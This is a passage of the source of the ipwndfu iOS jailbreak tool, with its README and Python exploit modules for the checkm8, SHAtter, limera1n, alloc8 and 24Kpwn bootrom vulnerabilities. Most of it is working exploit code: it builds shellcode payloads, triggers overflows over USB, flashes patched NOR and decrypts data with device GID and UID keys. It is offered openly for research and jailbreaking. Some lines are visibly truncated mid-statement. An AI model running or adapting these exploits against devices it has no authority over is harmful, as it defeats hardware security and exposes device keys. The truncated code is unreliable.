iBSS/LLB) in pwned DFU mode. * Also supports loading of unsigned img4 images. Run "python rmsigchks.py" to remove signature checks. * Supports s5l8960x (iPhone 5s) and - new - t8011 (iPad Pro 2017). * **IMPORTANT:** Other devices are currently **NOT SUPPORTED**. ## checkm8 * permanent unpatchable bootrom exploit for hundreds of millions of iOS devices * meant for researchers, this is not a jailbreak with Cydia yet * allows dumping SecureROM, decrypting keybags for iOS firmware, and demoting device for JTAG * current SoC support: s5l8947x, s5l8950x, s5l8955x, s5l8960x, t8002, t8004, t8010, t8011, t8015 * future SoC support: s5l8940x, s5l8942x, s5l8945x, s5l8747x, t7000, t7001, s7002, s8000, s8001, s8003, t8012 * full jailbreak with Cydia on latest iOS version is possible, but requires additional work ## Quick start guide for checkm8 1. Use a cable to connect device to your Mac. Hold buttons as needed to enter DFU Mode. 2. First run ```./ipwndfu -p``` to exploit the device. Repeat the process if it fails, it is not reliable. 3. Run ```./ipwndfu --dump-rom``` to get a dump of SecureROM. 4. Run ```./ipwndfu --decrypt-gid KEYBAG``` to decrypt a keybag. 5. Run ```./ipwndfu --demote``` to demote device and enable JTAG. ## Features * Jailbreak and downgrade iPhone 3GS (new bootrom) with alloc8 untethered bootrom exploit. :-) * Pwned DFU Mode with steaks4uce exploit for S5L8720 devices. * Pwned DFU Mode with limera1n exploit for S5L8920/S5L8922 devices. * Pwned DFU Mode with SHAtter exploit for S5L8930 devices. * Dump SecureROM on S5L8920/S5L8922/S5L8930 devices. * Dump NOR on S5L8920 devices. * Flash NOR on S5L8920 devices. * Encrypt or decrypt hex data on a connected device in pwned DFU Mode using its GID or UID key. ## Dependencies This tool should be compatible with Mac and Linux. It won't work in a virtual machine. * libusb, `If you are using Linux: install libusb using your package manager.` * [iPhone 3GS iOS 4.3.5 iBSS](#ibss) ## Tutorial This tool can be used to downgrade or jailbreak iPhone 3GS (new bootrom) without SHSH blobs, as documented in [JAILBREAK-GUIDE](https://github.com/axi0mX/ipwndfu/blob/master/JAILBREAK-GUIDE.md). ## Exploit write-up Write-up for alloc8 exploit can be found here: https://github.com/axi0mX/alloc8 ## iBSS Download iPhone 3GS iOS 4.3.5 IPSW from Apple: http://appldnld.apple.com/iPhone4/041-1965.20110721.gxUB5/iPhone2,1_4.3.5_8L1_Restore.ipsw In Terminal, extract iBSS using the following command, then move the file to ipwndfu folder: ``` unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3 ``` ## Coming soon! * Reorganize and refactor code. * Easier setup: download iBSS automatically using partial zip. * Dump SecureROM on S5L8720 devices. * Install custom boot logos on devices jailbroken with 24Kpwn and alloc8. * Enable verbose boot on devices jailbroken with 24Kpwn and alloc8. ## Disclaimer **This is BETA software.** Backup your data. This tool is currently in beta and could potentially brick your device. It will attempt to save a copy of data in NOR to nor-backups folder before flashing new data to NOR, and it will attempt to not overwrite critical data in NOR which your device requires to function. If something goes wrong, hopefully you will be able to restore to latest IPSW in iTunes and bring your device back to life, or use nor-backups to restore NOR to the original state, but I cannot provide any guarantees. **There is NO warranty provided.** THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. ## Toolchain You will not need to use `make` or compile anything to use ipwndfu. However, if you wish to make changes to assembly code in `src/*`, you will need to use an ARM toolchain and assemble the source files by running `make`. If you are using macOS with Homebrew, you can use binutils and gcc-arm-embedded. You can install them with these commands: ``` brew install binutils brew cask install https://raw.githubusercontent.com/Homebrew/homebrew-cask/b88346667547cc85f8f2cacb3dfe7b754c8afc8a/Casks/gcc-arm-embedded.rb ``` ## Credit geohot for limera1n exploit posixninja and pod2g for SHAtter exploit chronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g, posixninja, et al. for 24Kpwn exploit pod2g for steaks4uce exploit walac for pyusb ================================================ FILE: SHAtter.py ================================================ # Credit: This file is based on SHAtter exploit (segment overflow) by posixninja and pod2g. import struct, sys, time import dfu def generate_payload(): shellcode_address = 0x8402F198 + 1 data = struct.pack('<40sI', '\xF0' * 40, shellcode_address) tags = data + struct.pack('<4s2I4s2I', 'SHSH'[::-1], 12, 0, 'CERT'[::-1], 12, 0) header = struct.pack('<4s3I4s', 'Img3'[::-1], 20 + len(tags), len(tags), len(data), 'ibss'[::-1]) with open('bin/SHAtter-shellcode.bin', 'rb') as f: shellcode = f.read() assert len(shellcode) <= 1024 return header + tags + shellcode def exploit(): print '*** based on SHAtter exploit (segment overflow) by posixninja and pod2g ***' device = dfu.acquire_device() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return if 'CPID:8930' not in device.serial_number: print 'ERROR: Not a compatible device. This exploit is for S5L8930 devices only. Exiting.' sys.exit(1) if 'SRTG:[iBoot-574.4]' not in device.serial_number: print 'ERROR: CPID is compatible, but serial number string does not match.' print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.' sys.exit(1) dfu.reset_counters(device) dfu.get_data(device, 0x40) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() dfu.request_image_validation(device) dfu.release_device(device) device = dfu.acquire_device() dfu.get_data(device, 0x2C000) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() dfu.reset_counters(device) dfu.get_data(device, 0x140) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() dfu.request_image_validation(device) dfu.release_device(device) device = dfu.acquire_device() dfu.send_data(device, generate_payload()) dfu.get_data(device, 0x2C000) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() failed = 'PWND:[SHAtter]' not in device.serial_number dfu.release_device(device) if failed: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' ================================================ FILE: alloc8.py ================================================ import copy, struct, sys alloc8_constants_359_3 = [ 0x84034000, # 1 - MAIN_STACK_ADDRESS 0x544, # 2 - clean_invalidate_data_cache 0x84024020, # 3 - gNorImg3List 0x1ccd, # 4 - free 0x3ca1, # 5 - exit_critical_section 0x451d, # 6 - home_button_pressed 0x450d, # 7 - power_button_pressed 0x44e1, # 8 - cable_connected 0x696c6c62, # 9 - ILLB_MAGIC 0x1f6f, # 10 - get_nor_image 0x84000000, # 11 - LOAD_ADDRESS 0x24000, # 12 - MAX_SIZE 0x3969, # 13 - jump_to 0x38a1, # 14 - usb_create_serial_number_string 0x8e7d, # 15 - strlcat 0x349d, # 16 - usb_wait_for_image 0x84024228, # 17 - gLeakingDFUBuffer 0x65786563, # 18 - EXEC_MAGIC 0x1f79, # 19 - memz_create 0x1fa1, # 20 - memz_destroy 0x696d6733, # 21 - IMG3_STRUCT_MAGIC 0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC 0x1fe5, # 23 - image3_create_struct 0x2655, # 24 - image3_load_continue 0x277b, # 25 - image3_load_fail ] alloc8_constants_359_3_2 = [ 0x84034000, # 1 - MAIN_STACK_ADDRESS 0x544, # 2 - clean_invalidate_data_cache 0x84024020, # 3 - gNorImg3List 0x1ccd, # 4 - free 0x3ca9, # 5 - exit_critical_section 0x4525, # 6 - home_button_pressed 0x4515, # 7 - power_button_pressed 0x44e9, # 8 - cable_connected 0x696c6c62, # 9 - ILLB_MAGIC 0x1f77, # 10 - get_nor_image 0x84000000, # 11 - LOAD_ADDRESS 0x24000, # 12 - MAX_SIZE 0x3971, # 13 - jump_to 0x38a9, # 14 - usb_create_serial_number_string 0x8e85, # 15 - strlcat 0x34a5, # 16 - usb_wait_for_image 0x84024228, # 17 - gLeakingDFUBuffer 0x65786563, # 18 - EXEC_MAGIC 0x1f81, # 19 - memz_create 0x1fa9, # 20 - memz_destroy 0x696d6733, # 21 - IMG3_STRUCT_MAGIC 0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC 0x1fed, # 23 - image3_create_struct 0x265d, # 24 - image3_load_continue 0x2783, # 25 - image3_load_fail ] def empty_img3(size): assert size >= 20 return struct.pack('<4s3I4s', 'Img3'[::-1], size, 0, 0, 'zero'[::-1]) + '\x00' * (size - 20) def exploit(nor, version): if version == '359.3': constants = alloc8_constants_359_3 exceptions = [0x5620, 0x5630] elif version == '359.3.2': constants = alloc8_constants_359_3_2 exceptions = [0x5628, 0x5638] else: print 'ERROR: SecureROM version %s is not supported by alloc8.' % version sys.exit(1) for c in nor.parts[1]: assert c == '\x00' assert len(nor.images) < 32 MAX_SHELLCODE_LENGTH = 460 with open('bin/alloc8-shellcode.bin', 'rb') as f: shellcode = f.read() assert len(shellcode) <= MAX_SHELLCODE_LENGTH # Shellcode has placeholder values for constants; check they match and replace with constants from config. placeholders_offset = len(shellcode) - 4 * len(constants) for i in range(len(constants)): offset = placeholders_offset + 4 * i (value,) = struct.unpack('= 700 new_nor = copy.deepcopy(nor) new_images = [] for image in new_nor.images: assert len(image) >= 20 if image[16:20] != 'zero'[::-1]: new_images.append(image) assert len(new_images) < 32 new_nor.images = new_images new_nor.parts[1] = '\x00' * 460 return new_nor ================================================ FILE: checkm8.py ================================================ import array, ctypes, struct, sys, time import usb import dfu # Must be global so garbage collector never frees it request = None transfer_ptr = None never_free_device = None def libusb1_create_ctrl_transfer(device, request, timeout): ptr = usb.backend.libusb1._lib.libusb_alloc_transfer(0) assert ptr is not None transfer = ptr.contents transfer.dev_handle = device._ctx.handle.handle transfer.endpoint = 0 # EP0 transfer.type = 0 # LIBUSB_TRANSFER_TYPE_CONTROL transfer.timeout = timeout transfer.buffer = request.buffer_info()[0] # C-pointer to request buffer transfer.length = len(request) transfer.user_data = None transfer.callback = usb.backend.libusb1._libusb_transfer_cb_fn_p(0) # NULL transfer.flags = 1 << 1 # LIBUSB_TRANSFER_FREE_BUFFER return ptr def libusb1_async_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data, timeout): if usb.backend.libusb1._lib is not device._ctx.backend.lib: print 'ERROR: This exploit requires libusb1 backend, but another backend is being used. Exiting.' sys.exit(1) global request, transfer_ptr, never_free_device request_timeout = int(timeout) if timeout >= 1 else 0 start = time.time() never_free_device = device request = array.array('B', struct.pack(' dest: value = 0x18000000 - (src - dest) / 4 else: value = 0x14000000 + (dest - src) / 4 return struct.pack(' 0: part = min(amount, MAX_PACKET_SIZE) ret = device.ctrl_transfer(0xA1, 2, 0, 0, part, 5000) assert len(ret) == part data += ret.tostring() amount -= part return data def request_image_validation(device): #print 'Requesting image validation.' assert device.ctrl_transfer(0x21, 1, 0, 0, '', 1000) == 0 device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000) device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000) device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000) usb_reset(device) ================================================ FILE: dfuexec.py ================================================ import binascii, datetime, hashlib, struct, sys, time import usb # pyusb: use 'pip install pyusb' to install this module import dfu, recovery, image3, image3_24Kpwn, utilities EXEC_MAGIC = 'exec'[::-1] AES_BLOCK_SIZE = 16 AES_GID_KEY = 0x20000200 AES_UID_KEY = 0x20000201 AES_ENCRYPT = 16 AES_DECRYPT = 17 class PwnedDeviceConfig: def __init__(self, version, cpid, aes_crypto_cmd, memmove, get_block_device, load_address, rom_address, rom_size, rom_sha256): self.version = version self.cpid = cpid self.aes_crypto_cmd = aes_crypto_cmd self.memmove = memmove self.get_block_device = get_block_device self.load_address = load_address self.rom_address = rom_address self.rom_size = rom_size self.rom_sha256 = rom_sha256 configs = [ #PwnedDeviceConfig( # # S5L8720 (old bootrom) # version='240.4', # cpid='8720', # aes_crypto_cmd=0x899, # memmove=0x795c, # get_block_device=0x1091, # load_address=0x22000000, # rom_address=0x20000000, # rom_size=0x10000, # rom_sha256='55f4d8ea2791ba51dd89934168f38f0fb21ce8762ff614c1e742407c0d3ca054' #), #PwnedDeviceConfig( # # S5L8720 (new bootrom) # version='240.5.1', # cpid='8720', # aes_crypto_cmd=0x899, # memmove=0x7964, # get_block_device=0x1091, # load_address=0x22000000, # rom_address=0x20000000, # rom_size=0x10000, # rom_sha256='f15ae522dc9e645fcf997f6cec978ed3ce1811915e84938c68203fb95d80d300' #), PwnedDeviceConfig( # S5L8920 (old bootrom) version='359.3', cpid='8920', aes_crypto_cmd=0x925, memmove=0x83d4, get_block_device=0x1351, load_address=0x84000000, rom_address=0xbf000000, rom_size=0x10000, rom_sha256='99fd16f919a506c7f0701620e132e18c0e6f4025a57a85807960ca092e5e3587' ), PwnedDeviceConfig( # S5L8920 (new bootrom) version='359.3.2', cpid='8920', aes_crypto_cmd=0x925, memmove=0x83dc, get_block_device=0x1351, load_address=0x84000000, rom_address=0xbf000000, rom_size=0x10000, rom_sha256='0e6feb1144c95b1ee088ecd6c45bfdc2ed17191167555b6ca513d6572e463c86'), PwnedDeviceConfig( # S5L8922 version='359.5', cpid='8922', aes_crypto_cmd=0x919, memmove=0x8564, get_block_device=0x1851, load_address=0x84000000, rom_address=0xbf000000, rom_size=0x10000, rom_sha256='07b8a615f00961c5802451b5717c344db287b68c5f6d2331ac6ba7a6acdbac9d' ), PwnedDeviceConfig( # S5L8930 version='574.4', cpid='8930', aes_crypto_cmd=0x686d, memmove=0x84dc, get_block_device=0x81d5, load_address=0x84000000, rom_address=0xbf000000, rom_size=0x10000, rom_sha256='4f34652a238a57ae0018b6e66c20a240cdbee8b4cca59a99407d09f83ea8082d' ), ] class PwnedDFUDevice(): def __init__(self): device = dfu.acquire_device() self.identifier = device.serial_number dfu.release_device(device) if 'PWND:[' not in self.identifier: print 'ERROR: Device is not in pwned DFU Mode. Use -p flag to exploit device and then try again.' sys.exit(1) if 'CPID:8720' in self.identifier: print 'ERROR: This feature is not supported on iPod Touch (2nd generation).' sys.exit(1) self.config = None for config in configs: if 'SRTG:[iBoot-%s]' % config.version in self.identifier: self.config = config break if self.config is None: print 'ERROR: Device seems to be in pwned DFU Mode, but a matching configuration was not found.' sys.exit(1) def ecid_string(self): tokens = self.identifier.split() for token in tokens: if token.startswith('ECID:'): return token[5:] print 'ERROR: ECID is missing from USB serial number string.' sys.exit(1) def execute(self, cmd, receiveLength): device = dfu.acquire_device() assert self.identifier == device.serial_number dfu.reset_counters(device) dfu.send_data(device, EXEC_MAGIC + cmd) dfu.request_image_validation(device) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() assert self.identifier == device.serial_number requiredLength = 0x8 + receiveLength requiredLength = requiredLength if requiredLength % 0x800 == 0 else requiredLength / 0x800 * 0x800 + 0x800 received = dfu.get_data(device, requiredLength) dfu.release_device(device) (exec_cleared, retval) = struct.unpack('<2I', received[:8]) assert exec_cleared == 0 return (retval, received[8:8 + receiveLength]) def securerom_dump(self): securerom = self.read_memory(self.config.rom_address, self.config.rom_size) if hashlib.sha256(securerom).hexdigest() != self.config.rom_sha256: print 'ERROR: SecureROM was dumped, but the SHA256 hash does not match. Exiting.' sys.exit(1) return securerom def aes(self, data, action, key): if len(data) % AES_BLOCK_SIZE != 0: print 'ERROR: Length of data for AES encryption/decryption must be a multiple of %s.' % AES_BLOCK_SIZE sys.exit(1) cmd = struct.pack('<8I', self.config.aes_crypto_cmd, action, self.config.load_address + 36, self.config.load_address + 0x8, len(data), key, 0, 0) (retval, received) = self.execute(cmd + data, len(data)) return received[:len(data)] def aes_hex(self, hexdata, action, key): if len(hexdata) % 32 != 0: print 'ERROR: Length of hex data for AES encryption/decryption must be a multiple of %s.' % (2 * AES_BLOCK_SIZE) sys.exit(1) return binascii.hexlify(self.aes(binascii.unhexlify(hexdata), action, key)) def read_memory(self, address, length): (retval, data) = self.execute(struct.pack('<4I', self.config.memmove, self.config.load_address + 8, address, length), length) return data def write_memory(self, address, data): (retval, data) = self.execute(struct.pack('<4I%ss' % len(data), self.config.memmove, address, self.config.load_address + 20, len(data), data), 0) return data def nor_dump(self, saveBackup): (bdev, empty) = self.execute(struct.pack('<2I5s', self.config.get_block_device, self.config.load_address + 12, 'nor0\x00'), 0) if bdev == 0: print 'ERROR: Unable to dump NOR. Pointer to nor0 block device was NULL.' sys.exit(1) data = self.read_memory(bdev + 28, 4) (read,) = struct.unpack(' dest: value = 0x18000000 - (src - dest) / 4 else: value = 0x14000000 + (dest - src) / 4 return struct.pack('= 3072: data = tag[3][:3072] assert data[-1] == '\x00' data = data.rstrip('\x00') self.tags[i] = ('CERT'[::-1], 12 + len(data), len(data), data) break def newImage3(self, decrypted=True): typeTag = self.getTags('TYPE'[::-1]) assert len(typeTag) == 1 versTag = self.getTags('VERS'[::-1]) assert len(versTag) <= 1 dataTag = self.getTags('DATA'[::-1]) assert len(dataTag) == 1 sepoTag = self.getTags('SEPO'[::-1]) assert len(sepoTag) <= 2 bordTag = self.getTags('BORD'[::-1]) assert len(bordTag) <= 2 kbagTag = self.getTags('KBAG'[::-1]) assert len(kbagTag) <= 2 shshTag = self.getTags('SHSH'[::-1]) assert len(shshTag) <= 1 certTag = self.getTags('CERT'[::-1]) assert len(certTag) <= 1 (tagMagic, tagTotalSize, tagDataSize, tagData) = dataTag[0] if len(kbagTag) > 0 and decrypted: newTagData = self.getDecryptedPayload() kbagTag = [] else: newTagData = tagData assert len(tagData) == len(newTagData) return Image3.createImage3FromTags(self.type, typeTag + [(tagMagic, tagTotalSize, tagDataSize, newTagData)] + versTag + sepoTag + bordTag + kbagTag + shshTag + certTag) ================================================ FILE: image3_24Kpwn.py ================================================ # Credit: This file is based on 24Kpwn exploit (segment overflow) by chronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g, posixninja, et al. import struct import image3 def exploit(img3, securerom): with open('bin/24Kpwn-shellcode.bin', 'rb') as f: shellcode = f.read() MAX_SHELLCODE_LENGTH = 1024 assert len(shellcode) <= MAX_SHELLCODE_LENGTH # Check IMG3 constraints. (img3_magic, total_size, data_size, signed_size, magic) = struct.unpack('<4s3I4s', img3[:20]) assert img3_magic == 'Img3'[::-1] and signed_size != 0 and magic == 'illb'[::-1] assert total_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 assert data_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 - 20 assert signed_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 - 20 assert 20 + signed_size + 4 <= len(img3) and img3[20 + signed_size:20 + signed_size + 4] == 'SHSH'[::-1] PADDING = 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - (20 + signed_size + 12) SHELLCODE_ADDRESS = 0x84000000 + 1 + (20 + signed_size + 12 + PADDING) STACK_ADDRESS = 0x84033EA4 img3 = struct.pack('<4s3I4s', 'Img3'[::-1], 0x24200, 0x241BC, 0x23F88, 'illb'[::-1]) + img3[20:20 + signed_size] \ + struct.pack('4s2I%sx' % PADDING, '24KP'[::-1], 12 + PADDING + len(shellcode) + 4, PADDING + len(shellcode) + 4) + shellcode \ + struct.pack(' 0x24000 assert img3[16:20] == 'illb'[::-1] obj = image3.Image3(img3) if obj.getDecryptedPayload()[:4] != '\x0e\x00\x00\xea': # This is a 24Kpwn implementation which changes DATA tag. First dword of DATA tag should look like a shellcode address. shellcode_address, = struct.unpack(' 0x24000: nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0]) nor.images[0] = image3_24Kpwn.exploit(nor.images[0], device.securerom_dump()) device.flash_nor(nor.dump()) if opt == '--remove-24kpwn': device = PwnedDFUDevice() if device.config.cpid != '8920': print 'This is not a compatible device. 24Kpwn exploit is only supported on iPhone 3GS.' sys.exit(1) print 'WARNING: This feature is for researchers only. Device will probably not boot into iOS until it is restored in iTunes.' raw_input("Press ENTER to continue.") dump = device.nor_dump(saveBackup=True) nor = nor.NorData(dump) if len(nor.images) == 0: print 'ERROR: NOR has no valid LLB. It seems that 24Kpwn exploit is not installed. Exiting.' sys.exit(1) if len(nor.images[0]) <= 0x24000: print 'ERROR: LLB is not oversized. It seems that 24Kpwn exploit is not installed. Exiting.' sys.exit(1) print 'Preparing modified NOR without 24Kpwn exploit.' nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0]) device.flash_nor(nor.dump()) if opt == '--remove-alloc8': device = PwnedDFUDevice() if device.config.cpid != '8920': print 'This is not a compatible device. alloc8 exploit is for iPhone 3GS only.' sys.exit(1) print 'WARNING: This feature is for researchers only. Device will probably not boot into iOS until it is restored in iTunes.' raw_input("Press ENTER to continue.") dump = device.nor_dump(saveBackup=True) nor = nor.NorData(dump) if len(nor.images) < 700: print 'ERROR: It seems that alloc8 exploit is not installed. There are less than 700 images in NOR. Exiting.' sys.exit(1) print 'Preparing modified NOR without alloc8 exploit.' new_nor = alloc8.remove_exploit(nor) device.flash_nor(new_nor.dump()) if opt == '--decrypt-gid': device = dfu.acquire_device() serial_number = device.serial_number dfu.release_device(device) if 'PWND:[checkm8]' in serial_number: pwned = usbexec.PwnedUSBDevice() print 'Decrypting with %s GID key.' % pwned.platform.name() print pwned.aes(arg.decode('hex'), usbexec.AES_DECRYPT, usbexec.AES_GID_KEY).encode('hex') else: device = PwnedDFUDevice() print 'Decrypting with S5L%s GID key.' % device.config.cpid print device.aes_hex(arg, AES_DECRYPT, AES_GID_KEY) if opt == '--encrypt-gid': device = dfu.acquire_device() serial_number = device.serial_number dfu.release_device(device) if 'PWND:[checkm8]' in serial_number: pwned = usbexec.PwnedUSBDevice() print 'Encrypting with %s GID key.' % pwned.platform.name() print pwned.aes(arg.decode('hex'), usbexec.AES_ENCRYPT, usbexec.AES_GID_KEY).encode('hex') else: device = PwnedDFUDevice() print 'Encrypting with S5L%s GID key.' % device.config.cpid print device.aes_hex(arg, AES_ENCRYPT, AES_GID_KEY) if opt == '--decrypt-uid': device = dfu.acquire_device() serial_number = device.serial_number dfu.release_device(device) if 'PWND:[checkm8]' in serial_number: pwned = usbexec.PwnedUSBDevice() print 'Decrypting with %s device-specific UID key.' % pwned.platform.name() print pwned.aes(arg.decode('hex'), usbexec.AES_DECRYPT, usbexec.AES_UID_KEY).encode('hex') else: device = PwnedDFUDevice() print 'Decrypting with device-specific UID key.' print device.aes_hex(arg, AES_DECRYPT, AES_UID_KEY) if opt == '--encrypt-uid': device = dfu.acquire_device() serial_number = device.serial_number dfu.release_device(device) if 'PWND:[checkm8]' in serial_number: pwned = usbexec.PwnedUSBDevice() print 'Encrypting with %s device-specific UID key.' % pwned.platform.name() print pwned.aes(arg.decode('hex'), usbexec.AES_ENCRYPT, usbexec.AES_UID_KEY).encode('hex') else: device = PwnedDFUDevice() print 'Encrypting with device-specific UID key.' print device.aes_hex(arg, AES_ENCRYPT, AES_UID_KEY) ================================================ FILE: ipwnrecovery ================================================ #!/usr/bin/python # ipwnrecovery: open-source jailbreaking tool for older iOS devices # Author: axi0mX import getopt, sys import usb # pyusb: use 'pip install pyusb' to install this module import recovery def print_help(): print 'USAGE: ipwnrecovery [options]' print 'Interact with an iOS device in Recovery Mode.\n' print 'Basic options:' print ' -c cmd\t\t\trun command on device' print ' -f file\t\t\tsend file to device in Recovery Mode' print 'Advanced options:' print ' --enable-uart\t\t\tset debug-uarts to 3 and reboot device' print ' --exit-recovery-loop\t\tenable auto-boot and reboot device' if __name__ == '__main__': try: advanced = ['exit-recovery-loop', 'enable-uart'] opts, args = getopt.getopt(sys.argv[1:], 'c:f:', advanced) except getopt.GetoptError: print 'ERROR: Invalid arguments provided.' print_help() sys.exit(2) if len(opts) == 0: print_help() sys.exit(2) for opt, arg in opts: if opt == '-c': device = recovery.acquire_device() try: recovery.send_command(device, arg) except usb.core.USBError: print 'WARNING: Caught USBError after running command.' recovery.release_device(device) if opt == '-f': try: with open(arg, 'rb') as f: data = f.read() except IOError: print 'ERROR: Could not read file:', arg sys.exit(1) device = recovery.acquire_device() recovery.send_data(device, data) recovery.release_device(device) if opt == '--exit-recovery-loop': device = recovery.acquire_device() # TODO: getenv auto-boot first and fail if it is already true. recovery.send_command(device, 'setenv auto-boot true') recovery.send_command(device, 'saveenv') try: recovery.send_command(device, 'reboot') except usb.core.USBError: # OK: this is expected when rebooting pass recovery.release_device(device) if opt == '--enable-uart': device = recovery.acquire_device() # TODO: getenv debug-uarts first and fail if it is already 3. recovery.send_command(device, 'setenv debug-uarts 3') recovery.send_command(device, 'saveenv') try: recovery.send_command(device, 'reboot') except usb.core.USBError: # OK: this is expected when rebooting pass recovery.release_device(device) ================================================ FILE: libusbfinder/__init__.py ================================================ import hashlib, os, platform, cStringIO, tarfile class VersionConfig: def __init__(self, version, bottle, bottle_sha256, dylib_patches, dylib_sha256): self.version = version self.bottle = bottle self.bottle_sha256 = bottle_sha256 self.dylib_patches = dylib_patches self.dylib_sha256 = dylib_sha256 configs = [ VersionConfig( version='10.14', bottle='libusb-1.0.22.mojave.bottle', bottle_sha256='6accd1dfe6e66c30aac825ad674e9c7a48b752bcf84561e9e2d397ce188504ff', dylib_patches=[(0x8fd1, 'E985000000'.decode('hex'))], dylib_sha256='34d4c0ca821a31f83f3860575f9683cdb8fc5cbd4167383eedfb8b2ba7f7d9d5'), VersionConfig( version='10.13', bottle='libusb-1.0.22.high_sierra.bottle', bottle_sha256='7b1fd86a5129620d1bbf048c68c7742ecad450de138b8186bf8e985a752b2302', dylib_patches=[(0x98fb, 'E97F000000'.decode('hex'))], dylib_sha256='7bd48a3a9955fc20752433f944f61d58d5ec9b68d25dcfab1671f3c82339c4f8'), VersionConfig( version='10.12', bottle='libusb-1.0.22.sierra.bottle', bottle_sha256='7f2b65d09525c432a86e46699a1448bab36503f45f16d6e0d8f42be6b1ef55cf', dylib_patches=[(0x98fb, 'E97F000000'.decode('hex'))], dylib_sha256='0d386845a96fa0457cb6c200f956c9b0d5f236729ef1e2cff34cd312f8cfc7ba'), VersionConfig( version='10.11', bottle='libusb-1.0.22.el_capitan.bottle', bottle_sha256='33575c9f56bc0d57bf985a21e40be019d5c269b432939416be8f24c5921bbb28', dylib_patches=[(0x9917, 'E956010000'.decode('hex'))], dylib_sha256='7ae848e0e8730bf8de48bb534a8ee42eb301a2f6ba6cc188228ce8bf79a6ba07'), VersionConfig( version='10.10', bottle='libusb-1.0.21.yosemite.bottle', bottle_sha256='8831059f7585ed973d983dd82995e1732c240a78f4f7a82e5d5c7dfe27d49941', dylib_patches=[], dylib_sha256='8e89265251d119f3422a760cf3472ecc46b7c3d22598600905dd5595a1ec146a'), VersionConfig( version='10.9', bottle='libusb-1.0.20.mavericks.bottle.1', bottle_sha256='5a475e2ca93886e51b994d1ea323e915c91d8463e5b23b45203acb69edf69981', dylib_patches=[], dylib_sha256='8f21fc0af0c7b04e7db988e1fc66ea9dbc31289096c68416140152d70138c316'), VersionConfig( version='10.8', bottle='libusb-1.0.19.mountain_lion.bottle.1', bottle_sha256='d5c4bd99b359a8319d49e06b6b13fc529f91a5bd61ce5a8ff14c291b44b676da', dylib_patches=[], dylib_sha256='0490800ca9ff82d37c310a09f9bd29aaa87143cf86b35d94b170617ec9d127bb'), ] dir = os.path.dirname(__file__) BOTTLE_PATH_FORMAT = os.path.join(dir, 'bottles', '%s.tar.gz') DYLIB_PATH_FORMAT = os.path.join(dir, '%s.dylib') DYLIB_NAME = 'libusb-1.0.0.dylib' def apply_patches(binary, patches): for (offset, data) in patches: binary = binary[:offset] + data + binary[offset + len(data):] return binary def libusb1_path_internal(): version = platform.mac_ver()[0] # HACK to support macOS 10.15 if version == '10.15': version = '10.14' if version == '': # We're not running on a Mac. return None for config in configs: if version.startswith(config.version): path = DYLIB_PATH_FORMAT % config.bottle try: f = open(path, 'rb') dylib = f.read() f.close() if hashlib.sha256(dylib).hexdigest() == config.dylib_sha256: return path print 'WARNING: SHA256 hash of existing dylib does not match.' except IOError: pass f = open(BOTTLE_PATH_FORMAT % config.bottle, 'rb') bottle = f.read() f.close() if hashlib.sha256(bottle).hexdigest() != config.bottle_sha256: print 'ERROR: SHA256 hash of bottle does not match.' sys.exit(1) tar = tarfile.open(fileobj=cStringIO.StringIO(bottle)) for member in tar.getmembers(): if member.name.endswith(DYLIB_NAME): patched_dylib = apply_patches(tar.extractfile(member.name).read(), config.dylib_patches) if hashlib.sha256(patched_dylib).hexdigest() != config.dylib_sha256: print 'ERROR: SHA256 hash of new dylib does not match.' sys.exit(1) f = open(path, 'wb') f.write(patched_dylib) f.close() return path # No match found. return None cached_path = libusb1_path_internal() def libusb1_path(): return cached_path ================================================ FILE: limera1n.py ================================================ # Credit: This file is based on limera1n exploit (heap overflow) by geohot. import array, ctypes, struct, sys, time import usb # pyusb: use 'pip install pyusb' to install this module import dfu # Must be global so garbage collector never frees it request = None transfer_ptr = None constants_359_3 = [ 0x84031800, # 1 - RELOCATE_SHELLCODE_ADDRESS 1024, # 2 - RELOCATE_SHELLCODE_SIZE 0x83d4, # 3 - memmove 0x84034000, # 4 - MAIN_STACK_ADDRESS 0x43c9, # 5 - nor_power_on 0x5ded, # 6 - nor_init 0x84024820, # 7 - gUSBSerialNumber 0x8e7d, # 8 - strlcat 0x349d, # 9 - usb_wait_for_image 0x84000000, # 10 - LOAD_ADDRESS 0x24000, # 11 - MAX_SIZE 0x84024228, # 12 - gLeakingDFUBuffer 0x1ccd, # 13 - free 0x65786563, # 14 - EXEC_MAGIC 0x1f79, # 15 - memz_create 0x3969, # 16 - jump_to 0x1fa1, # 17 - memz_destroy 0x60, # 18 - IMAGE3_LOAD_SP_OFFSET 0x50, # 19 - IMAGE3_LOAD_STRUCT_OFFSET 0x1fe5, # 20 - image3_create_struct 0x2655, # 21 - image3_load_continue 0x277b, # 22 - image3_load_fail ] constants_359_3_2 = [ 0x84031800, # 